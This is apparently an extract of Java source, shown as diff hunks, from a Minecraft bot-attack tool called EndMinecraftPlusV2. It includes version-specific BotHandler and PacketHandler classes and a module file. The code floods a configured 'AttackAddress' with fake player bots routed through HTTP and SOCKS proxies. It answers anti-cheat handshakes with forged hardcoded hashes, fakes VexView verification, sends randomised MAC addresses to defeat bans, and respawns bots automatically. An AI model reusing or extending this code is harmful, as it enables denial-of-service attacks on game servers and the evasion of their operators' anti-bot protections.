switch (type) {
|
||||
case 3:
|
||||
proxyType = ProxyInfo.Type.SOCKS5;
|
||||
break;
|
||||
case 2:
|
||||
proxyType = ProxyInfo.Type.SOCKS4;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = ProxyInfo.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
}
|
@ -0,0 +1,278 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_16_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientRequest;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.*;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import com.github.steveice10.packetlib.Client;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = ((Client) client).getSession();
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Component message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerHealthPacket serverPlayerHealthPacket = (ServerPlayerHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return msg.style().clickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return convertComponentToPlainText(msg);
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = translatable.args();
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Component msg = (Component) message;
|
||||
for (Component extra : msg.children()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return Objects.requireNonNull(msg.style().clickEvent()).value();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return !msg.children().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), HandPreference.LEFT_HAND);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientPlayerChangeHeldItemPacket clientPlayerChangeHeldItemPacket = new ClientPlayerChangeHeldItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
||||
|
23
VersionSupport-P1_17_X/VersionSupport-P1_17_X.iml
Normal file
23
VersionSupport-P1_17_X/VersionSupport-P1_17_X.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.17.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,208 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_17_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
ProxyInfo proxyInfo = new ProxyInfo(getProxyType(ConfigUtil.ProxyType), proxy.address());
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), proxyInfo);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
client.disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setReadTimeout(Math.toIntExact(timeout));
|
||||
c.setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
|
||||
private static ProxyInfo.Type getProxyType(int type) {
|
||||
ProxyInfo.Type proxyType;
|
||||
switch (type) {
|
||||
case 3:
|
||||
proxyType = ProxyInfo.Type.SOCKS5;
|
||||
break;
|
||||
case 2:
|
||||
proxyType = ProxyInfo.Type.SOCKS4;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = ProxyInfo.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
}
|
@ -0,0 +1,278 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_17_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientRequest;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.*;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Component message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerPlayerHealthPacket serverPlayerHealthPacket = (ServerPlayerHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
